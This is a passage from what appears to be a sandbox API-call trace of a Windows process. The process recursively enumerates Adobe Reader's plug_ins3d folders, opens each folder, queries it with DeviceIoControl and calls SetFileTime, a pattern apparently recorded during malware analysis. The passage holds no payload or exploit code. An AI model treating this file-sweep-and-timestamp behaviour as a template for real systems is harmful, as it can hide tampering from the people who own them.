ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4ac63, dwReserved0=0x0, dwReserved1=0x0, cFileName="weblink.api", cAlternateFileName="")) returned 1 [0083.676] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4ac63, dwReserved0=0x0, dwReserved1=0x0, cFileName="weblink.api", cAlternateFileName="")) returned 0 [0083.676] GetLastError () returned 0x12 [0083.676] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0083.676] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0083.676] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0083.677] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0083.677] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plug_ins3d", cAlternateFileName="")) returned 1 [0083.677] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.678] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0083.678] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0083.678] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.679] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0083.679] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.679] NtClose (Handle=0x16c) returned 0x0 [0083.679] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0083.679] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0083.679] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0083.679] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.680] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0083.681] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.681] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc0c180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x86988, dwReserved0=0x0, dwReserved1=0x0, cFileName="2d.x3d", cAlternateFileName="")) returned 1 [0083.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0083.683] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0083.683] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216c20 [0083.683] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2970 [0083.683] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.683] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbe6020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="3difr.x3d", cAlternateFileName="")) returned 1 [0083.683] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.684] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.684] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.684] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.684] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.684] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216c40 [0083.685] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2b80 [0083.685] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.685] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbe6020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a590, dwReserved0=0x0, dwReserved1=0x0, cFileName="drvDX8.x3d", cAlternateFileName="")) returned 1 [0083.685] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.685] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.685] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.686] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216c60 [0083.686] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2a78 [0083.687] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.687] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbe6020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc6f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="drvDX9.x3d", cAlternateFileName="")) returned 1 [0083.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.687] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.687] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.687] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216c80 [0083.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2d90 [0083.688] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.688] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x35190, dwReserved0=0x0, dwReserved1=0x0, cFileName="drvSOFT.x3d", cAlternateFileName="")) returned 1 [0083.688] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.689] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.689] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.689] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216ca0 [0083.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2fa0 [0083.690] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.690] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dbbfec0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prc", cAlternateFileName="")) returned 1 [0083.690] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc58440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x301190, dwReserved0=0x0, dwReserved1=0x0, cFileName="prcr.x3d", cAlternateFileName="")) returned 1 [0083.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.690] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.690] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.691] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.691] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.691] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216cc0 [0083.691] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2e98 [0083.692] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.692] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5798, dwReserved0=0x0, dwReserved1=0x0, cFileName="tesselate.x3d", cAlternateFileName="")) returned 1 [0083.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.692] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.692] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.692] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.693] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216ce0 [0083.693] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b20f0 [0083.693] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.693] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5798, dwReserved0=0x0, dwReserved1=0x0, cFileName="tesselate.x3d", cAlternateFileName="")) returned 0 [0083.693] GetLastError () returned 0x12 [0083.693] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0083.693] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0083.694] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dc322e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dc322e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.694] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc0c180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x86988, dwReserved0=0x0, dwReserved1=0x0, cFileName="2d.x3d", cAlternateFileName="")) returned 1 [0083.694] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbe6020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x41b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="3difr.x3d", cAlternateFileName="")) returned 1 [0083.694] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbe6020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a590, dwReserved0=0x0, dwReserved1=0x0, cFileName="drvDX8.x3d", cAlternateFileName="")) returned 1 [0083.694] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbe6020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc6f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="drvDX9.x3d", cAlternateFileName="")) returned 1 [0083.694] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x35190, dwReserved0=0x0, dwReserved1=0x0, cFileName="drvSOFT.x3d", cAlternateFileName="")) returned 1 [0083.694] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dbbfec0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prc", cAlternateFileName="")) returned 1 [0083.694] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.694] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\prc"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dbbfec0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.695] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\prc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0083.695] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0083.695] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.695] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0083.696] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.696] NtClose (Handle=0x16c) returned 0x0 [0083.696] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0083.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b21f8 [0083.697] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b2300 [0083.697] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0083.697] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dbbfec0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.697] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x131c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadCAD.otf", cAlternateFileName="")) returned 1 [0083.697] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.698] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.698] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b2408 [0083.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0083.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216d00 [0083.699] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b2510 [0083.699] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.699] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x131c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadCAD.otf", cAlternateFileName="")) returned 0 [0083.699] GetLastError () returned 0x12 [0083.699] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e91c0 [0083.699] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0083.699] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dbbfec0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.700] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 